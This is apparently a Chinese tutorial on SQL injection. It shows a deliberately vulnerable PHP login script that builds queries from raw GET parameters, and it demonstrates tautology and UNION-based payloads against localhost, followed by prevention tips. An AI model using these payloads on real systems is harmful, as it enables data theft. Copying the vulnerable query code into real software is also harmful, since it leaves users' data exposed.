1建立查詢語句
$host = "localhost"; $username = "root"; $dbname = "acool"; $dbpwd = "root"; $con = mysql_connect($host,$username,$dbpwd ) or die("#fail to contect to db."); mysql_select_db($dbname,$con) or die("fail to open database"); $user = $_GET['user']; $pwd = $_GET["pwd"]; $sql = "select * from user where username = '{$user}' and pwd = '{$pwd}' "; $result = mysql_query($sql,$con); $num_rows = mysql_num_rows($result); if($num_rows<1){ echo "fail"; }else{ echo "succes"; } while ($row = mysql_fetch_array($result)){ var_dump($row); } echo "<code>sql:$sql</code>"; //http://127.0.0.1/sql.php?user=admin&pwd=123456

當pwd密碼不等於數據庫的密碼時.很明顯利用1=1 恆成立
結果如下

顯然sql語句是可以執行的
http://127.0.0.1/sql.php?user=admin&pwd=admin%20or%201=1
但客服端卻沒有輸出任何結果 ?
由於引號導致sql構造不正確,需要繞過引號,讓引號閉合;
failsql:select * from user where username = 'admin' and pwd = 'admin or 1=1'
http://127.0.0.1/sql.php?user=admin&pwd=admin' or '1=1

因此簡單的mysql注入成功了
繼續既然mysql這么有趣,還可以做些什么呢?
利用這個漏洞獲取另一個表的數據
union 聯合查詢

因為union 聯合查詢的表字段必須相等,需要修改
select * from user where username = 'admin' and pwd = 'admin' UNION SELECT * ,1 FROM user_copy ;// 1充當一個字段,需要改變數量嘗試
http://127.0.0.1/sql.php?user=admin&pwd=admin ' union SELECT * ,1 FROM user_copy where '1=1

這種構造sql 的select 語句外,構造insert ,delete語句
如何防范sql注入
1.如果是整型的變量或字段,使用intval()函數把所有的參數轉化為一個數值,例如帶參數的鏈接等

結果再次訪問的結果

2.對一些字符類型的變量,用 addslashes (該字符串為了數據庫查詢語句等的需要在某些字符前加上了反斜線。這些字符是單引號(')、雙引號(")、反斜線(\)與 NUL(NULL 字符)。)
3.利用PDO拓展參數綁定提供安全性
4.轉義或過濾特殊字符如%
